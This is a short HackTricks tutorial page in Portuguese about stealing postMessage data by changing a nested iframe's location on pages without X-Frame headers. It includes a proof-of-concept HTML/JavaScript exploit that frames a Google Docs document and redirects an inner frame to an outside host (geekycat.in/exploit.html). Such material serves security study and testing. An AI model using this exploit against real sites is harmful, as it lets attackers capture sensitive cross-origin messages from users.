Steal postmessage modifying iframe location

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Alterando as localizações dos iframes filhos

De acordo com este artigo, se você pode inserir um iframe em uma página da web sem o cabeçalho X-Frame que contenha outro iframe, você pode alterar a localização desse iframe filho.

Por exemplo, se abc.com tem efg.com como iframe e abc.com não tem o cabeçalho X-Frame, eu poderia alterar o efg.com para evil.com em uma origem cruzada usando, frames.location.

Isso é especialmente útil em postMessages porque se uma página estiver enviando dados sensíveis usando um coringa como windowRef.postmessage("","*"), é possível alterar a localização do iframe relacionado (filho ou pai) para uma localização controlada pelo atacante e roubar esses dados.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Last updated